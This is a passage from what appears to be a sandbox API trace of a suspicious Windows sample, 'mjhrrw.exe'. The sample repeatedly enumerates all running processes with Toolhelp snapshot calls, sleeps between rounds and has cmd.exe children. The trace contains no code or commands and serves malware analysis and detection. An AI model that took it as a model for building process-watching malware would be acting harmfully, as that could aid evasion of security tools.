dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0276.894] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.894] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.895] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.895] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.896] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.896] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.896] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.897] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0276.897] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0276.898] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0276.898] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.899] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0276.899] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.900] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.900] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0276.901] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.902] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.902] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0276.903] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0276.903] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0276.904] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0276.904] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0276.905] CloseHandle (hObject=0x2dc) returned 1 [0276.905] Sleep (dwMilliseconds=0x1f4) [0277.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0277.640] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.640] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.641] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.642] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.642] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.643] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.644] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.644] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.645] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.646] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.646] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.647] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.648] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.648] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.649] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.650] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.650] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.651] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.652] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.652] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.654] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.654] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.655] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.656] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.656] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.657] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.658] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.658] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.659] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0277.660] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0277.660] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.661] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.662] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.662] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.663] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.664] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.664] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.665] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0277.666] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0277.667] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0277.667] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.668] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0278.057] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.057] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.058] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0278.058] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.059] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.059] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0278.060] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0278.060] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0278.061] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0278.061] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0278.062] CloseHandle (hObject=0x2d8) returned 1 [0278.062] Sleep (dwMilliseconds=0x1f4) [0278.759] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0278.766] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.766] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.767] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.768] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.768] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.770] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.771] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.771] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.772] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, 